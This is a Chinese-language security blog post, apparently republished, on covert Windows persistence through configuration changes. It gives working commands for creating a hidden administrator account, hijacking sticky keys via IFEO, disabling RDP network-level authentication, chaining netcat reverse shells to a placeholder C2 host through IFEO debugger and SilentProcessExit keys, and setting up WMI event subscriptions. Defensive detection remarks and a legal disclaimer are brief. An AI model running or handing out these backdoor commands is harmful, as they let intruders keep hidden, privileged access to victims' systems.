文章总结: 文档详细介绍了基于配置的Windows持久化技术,包括隐藏账户创建、IFEO调试器劫持、GFlags/SilentProcessExit机制滥用和WMI事件订阅等方法。这些技术利用系统合法功能实现隐蔽后门,具有重启持久性、规避传统检测工具的优势,但需要管理员权限且会留下可追溯痕迹。关键发现在于防御者需审计注册表、WMI存储库等非常规位置,建议安全团队加强系统配置监控与异常行为检测。 综合评分: 85 文章分类: 渗透测试,红队,内网渗透,恶意软件,安全运营
高级 Windows 持久化 Windows 目标内部
原创
忍者 忍者
Khan安全团队
2026年5月24日 18:50 海南
在小说阅读器读本章
去阅读
概括
基于配置的持久化技术是攻击者维持对 Windows 系统访问权限的一种隐蔽但强大的手段。通过创建隐藏帐户、劫持辅助功能工具、降低 RDP 安全要求或将逻辑嵌入基于注册表的调试功能中,攻击者可以建立与系统行为融为一体的后门,而不会像外部二进制文件那样显眼。IFEO 劫持和 GFlags/SilentProcessExit 机制展示了如何将诊断基础架构重新用于启动有效载荷,而 WMI 事件订阅则展示了系统管理功能在提供长期、灵活的触发器方面的强大作用。这些方法的关键优势在于其隐蔽性、重启后的持久性以及对可信系统机制的依赖。然而,它们也存在一些局限性:通常需要管理员权限,并且会留下痕迹,而懂得如何查找的防御者可以发现这些痕迹。对于安全团队而言,了解这些非常规的持久化途径至关重要,因为仅靠标准的自动运行和计划任务审计无法发现它们。
学习通过隐藏账户、注册表劫持、IFEO技巧、GFlags滥用和WMI事件订阅等手段实现高级Windows持久化。这些隐蔽技术利用系统设置,确保在重启后仍能保持后门的持久存在。
持久性是任何成功入侵的核心目标之一,它确保攻击者即使在系统重启、注销或维护后也能再次访问被入侵的系统。虽然人们通常关注可执行文件投放器、服务或计划任务,但还有一类持久性方法完全通过配置更改来实现。这些技术会操纵操作系统自身的设置、注册表项和管理框架。因此,它们通常更隐蔽、更具弹性,并且更难被专注于扫描可执行文件的传统安全工具检测到。本文将介绍几种基于配置的 Windows 持久性策略,从用户和注册表操作到更高级的映像文件执行选项 (IFEO)、使用 SilentProcessExit 的全局标志以及 WMI 事件订阅等滥用手段。每种方法都展现了持久性和可检测性之间的权衡,并展示了如何利用合法的管理功能来悄无声息地获取长期访问权限。
配置
与其他依赖可执行文件或定时触发器的持久化方法不同,基于配置的持久化通过修改系统自身的设置来实现。这使得它既隐蔽又持久:无需引入额外的二进制文件,无需显式启动任何新程序,而且专注于扫描可执行文件的杀毒工具几乎无法检测到任何入侵。然而,这种方法通常需要目标计算机的管理员权限,因为必须修改帐户、注册表项或远程访问设置。此外,它还假定系统之后可以访问,例如通过远程桌面协议 (RDP),但如果系统位于网络地址转换 (NAT) 或防火墙之后,则并非总是如此。
cmd#> net user hacker p@ssw0rd /addcmd#> net localgroup administrators /add hackercmd#> reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v attacker /t REG_DWORD /d 0 /f
前两条命令创建一个新的本地用户并将其添加到特权组。然后,注册表命令将“攻击者”帐户从 Windows 登录屏幕中隐藏,但它仍然可用于交互式和远程登录。这些步骤共同创建了一个隐蔽的后门用户,该用户与系统融为一体,可用于后续的恶意访问。
接下来,我们将转向一种更激进的配置后门形式:
cmd#> reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t reg_sz /d "\windows\system32\cmd.exe"cmd#> reg add "HKLM\system\currentcontrolset\control\Terminal Server\WinStations\RDP‐Tcp" /v UserAuthentication /t REG_DWORD /d 0x0 /f
sethc.exe攻击者通过修改“粘滞键”辅助功能工具的调试器值,将其执行替换为 cmd.exe。在登录屏幕上按五次 Shift 键,不会打开“粘滞键”,而是会启动一个具有 SYSTEM 权限的命令提示符。此外,修改RDP-Tcp相关UserAuthentication设置可以0降低网络级别身份验证 (NLA) 的要求,从而允许在无需凭据的情况下建立 RDP 连接。这两项修改提供了一种可靠的方法,可以直接从 Windows 登录屏幕恢复访问权限。
优点:由于它修改系统设置而不是添加新的二进制文件,因此具有高度持久性和隐蔽性,并且在重启后不会留下典型的恶意软件痕迹。
缺点:需要管理员权限,且仅在攻击者之后能够直接连接到主机时才有效。如果机器位于NAT或限制性防火墙之后,则持久化机制可能无法访问。
调试器
Windows 不会直接修改磁盘上的程序,而是允许在特定可执行文件启动时附加一个“调试器”。作为黑客,您可以利用此功能,为目标进程设置一个调试器值,这样每当用户打开该程序时,Windows 都会启动您的命令行。原始二进制文件保持不变并照常启动,但调试器命令可以添加或附加额外的行为。由于此配置位于注册表的 HKLM 下,因此它在重启后仍然有效,并且不依赖于自动运行文件夹或计划任务触发器。
cmd#> copy calc.exe _calc.execmd#> reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe" /v Debugger /t reg_sz /d "cmd /C _calc.exe & c:\windows\nc.exe ‐e c:\windows\system32\cmd.exe C2 9001" /f
当受害者启动计算器时,Windows 会检查 IFEO,发现调试器已设置,并运行该调试器命令而不是直接运行calc.exe。该cmd /C包装程序会执行两条链式语句:首先执行_calc.exe(以便用户仍然看到正常的计算器窗口),然后在_calc.exe程序退出后执行 Netcat 命令。单&运算符表示第二条命令在第一条命令完成后执行,因此反向 shell 尝试会被延迟到用户关闭计算器之后。由于该密钥位于 HKLM 下,因此创建或修改它需要管理员权限。一旦设置,任何启动计算器的用户都会触发此链式调用。
优点:重启后依然有效,同时保持原始应用程序不变,并且当用户打开特定程序时会自然触发。
缺点:需要管理员权限才能设置 HKLM IFEO 密钥,并且很容易被安全监控发现,因为非开发人员的调试器值是一种已知的滥用模式。
IFEO劫持攻击的巧妙之处在于它无需修改二进制文件,而是利用合法的Windows功能作为触发条件。此外,它也易于检测和修复:安全人员会定期审核映像文件执行选项(IFEO),查找异常的调试器条目,许多EDR产品也会在这些条目出现时发出警报。如果目标程序行为异常或在某些情况下无法启动,用户可能会注意到。
GFLAGS
Windows 包含一些隐藏的调试和跟踪功能,这些功能可能被滥用以实现持久化攻击。其中一项功能是SilentProcessExit机制,它允许管理员配置进程终止时的特殊操作。通过将此机制与映像文件执行选项 (IFEO) 下的GlobalFlag注册表设置结合使用,黑客可以确保在选定的应用程序关闭时,启动他们选择的另一个进程。与传统的自动运行或计划任务技术不同,这种方法隐藏在 Windows 诊断基础架构的更深层,因此更难被普通用户发现。
cmd#> reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512cmd#> reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1cmd#> reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "nc ‐e \windows\system32\cmd.exe C2 9001"
提供的命令用于配置记事本。第一个注册表修改将 GlobalFlag 的值设置为notepad.exetrue 512,该标志指示 Windows 监视该进程的“静默进程退出”。下一个命令启用记事本退出时的报告功能。最后一个命令指定发生这种情况时要运行的命令。在此配置下,每次用户关闭记事本时,系统都会静默触发 Netcat 反向 shell。
优点:重启后仍然存在,并且由于它依赖于不太为人所知的注册表分支,而不是启动、运行键或服务,因此不会被 Autoruns 等常见的持久性审计工具检测到。
缺点:需要管理员权限才能设置 IFEO 和 SilentProcessExit 值,而且知道在哪里查找的防御者可以通过审核相关的注册表路径来发现并删除这些条目。
这种持久化技巧非常隐蔽,因为它利用的是诊断机制而非主流的自动运行位置。它不会被大多数自动运行检查工具检测到,这使得它对那些追求隐蔽攻击的攻击者极具吸引力。然而,它并非完全隐形:了解 SilentProcessExit 的防御者可以查询并监控这些注册表项,以发现异常值。
WMI
Windows 管理规范 (WMI) 提供了一个功能强大的系统级框架,用于监控和自动化,管理员可以利用它进行遥测和计划任务。攻击者可以通过创建永久事件订阅来滥用 WMI,这些订阅存储在 WMI 存储库中,并在定时器或系统事件发生时触发有效载荷。由于这些订阅存储在 WMI 中,而不是存储在显眼的自动运行注册表项或启动文件夹中,因此它们更加隐蔽,难以使用常规检查工具发现,并且会在系统重启后仍然存在,直到从存储库中显式删除为止。
cmd#> wmic /NAMESPACE:"\root\subscription" PATH __EventFilter CREATE Name="persistence", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"cmd#> wmic /NAMESPACE:"\root\subscription" PATH CommandLineEventConsumer CREATE Name="persistence", ExecutablePath="C:\file.exe",CommandLineTemplate="C:\file.exe"cmd#> wmic /NAMESPACE:"\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name="persistence"", Consumer="CommandLineEventConsumer.Name="persistence""
第一条命令创建一个事件过滤器,该过滤器无需外部驱动程序或服务即可产生周期性触发。第二条命令创建一个使用者,用于描述过滤器触发时应执行的操作。第三条命令将过滤器绑定到使用者,以便事件真正触发执行。这三条命令共同在 WMI 存储库中创建一个持久订阅,使指定的命令在选定的时间间隔或条件下运行。
优点:重启后依然存在,支持精细控制的触发器(周期性定时器、基于事件的条件),同时将持久性隐藏在 WMI 存储库中,而不是隐藏在广泛扫描的自动运行位置中。
缺点:需要管理员权限才能创建永久订阅,并且在 WMI 存储库中留下痕迹,这些痕迹可以被懂得检查 WMI 事件订阅的防御者枚举和删除。
WMI 事件订阅功能强大且灵活,能够实现长期持久化,因为它们融入系统管理层,并且轻量级的自动运行检查无法检测到它们。这种隐蔽性使它们成为防御性攻击的高价值目标:枚举订阅、收集 WMI 存储库以及监控新创建的过滤器、使用者和绑定都是检测和修复此技术的有效方法。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:Khan安全团队 忍者 忍者《高级 Windows 持久化 Windows 目标内部》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论